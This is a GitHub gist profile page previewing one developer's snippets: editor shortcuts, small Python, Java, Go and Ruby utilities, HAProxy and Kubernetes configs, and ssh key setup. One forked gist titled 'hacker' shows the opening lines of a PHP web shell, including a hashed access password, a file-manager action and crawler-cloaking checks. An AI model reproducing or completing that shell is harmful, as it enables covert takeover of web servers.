Skip to content

Instantly share code, notes, and snippets.

View 91pavan's full-sized avatar

Pavan Sudheendra 91pavan

  • Cisco Systems
View GitHub Profile
@91pavan
91pavan / Sublime Text 2 commands
Created January 6, 2013 18:23 — forked from hileon/gist:1311735
Sublime text 2 commands
h1. Sublime Text 2 - Useful Shortcuts (Windows)
h2. General
| *Ctrl+KB* | toggle side bar |
| *Ctrl+Shift+P* | command prompt |
| *Ctrl+`* | python console |
| *Ctrl+N* | new file |
h2. Editing
@91pavan
91pavan / hacker
Created May 16, 2013 02:35 — forked from anonymous/hacker
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@91pavan
91pavan / zipdict.py
Last active December 18, 2015 10:49
Convert a list into dictionary and dictionary into lists!
def zipdict(names, values):
return dict(zip(names, values))
def unzipdict(mydict):
list1 = mydict.keys()
list2 = mydict.values()
return list1, list2
@91pavan
91pavan / CustomMap.java
Created May 21, 2014 08:46
CustomMap pig UDF to return non-null bag of tuples
package com.example.pigudf;
import java.io.IOException;
import java.util.Map;
import java.util.HashMap;
import org.apache.pig.EvalFunc;
import org.apache.pig.data.DataType;
import org.apache.pig.data.Tuple;
import org.apache.pig.impl.logicalLayer.schema.Schema;
@91pavan
91pavan / filterAllFields.rb
Last active February 15, 2016 10:03
Logstash filter configuration to read all incoming fields and make them available for consumption
filter {
ruby {
code => "
require 'json'
if event['type'] == 'syslog'
eventJson = event.to_hash
if eventJson.has_key?('@version')
eventJson.delete('@version')
end
if eventJson.has_key?('type')
@91pavan
91pavan / haproxy.cfg
Last active June 17, 2016 12:42
Haproxy configuration for acting as a proxy between two or more backend vertx verticles and a blog app frontend
defaults
log global
mode http
option httplog
option dontlognull
timeout connect 5000
timeout client 50000
timeout server 50000
log 127.0.0.1 local0
@91pavan
91pavan / create_pem.sh
Created July 6, 2019 19:24
How to create a pem file from scratch for a linux target machine
ssh-keygen -f identifier -m PEM -t rsa # execute on your laptop
ssh-copy-id -i identifier.pub ubuntu@target_machine # copy the .pub file to target machine
mv identifier identifer.pem # change name to .pem
chmod 600 identifier.pem # change permissions
ssh -i identifer.pem ubuntu@target_machine # ssh using the new created pem file
@91pavan
91pavan / main.go
Last active August 25, 2020 20:42
Watching for any Istio CRD updates (add,delete,update) in Go
package main
import (
"fmt"
"flag"
"time"
"istio.io/client-go/pkg/apis/networking/v1alpha3"
"sigs.k8s.io/controller-runtime/pkg/client/config"
versionedclient "istio.io/client-go/pkg/clientset/versioned"
# deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: n8n
namespace: n8n
labels:
app: n8n
spec:
/*******************************************************************************
* Copyright (c) 2013 IBM Corp.
*
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* and Eclipse Distribution License v1.0 which accompany this distribution.
*
* The Eclipse Public License is available at
* http://www.eclipse.org/legal/epl-v10.html
* and the Eclipse Distribution License is available at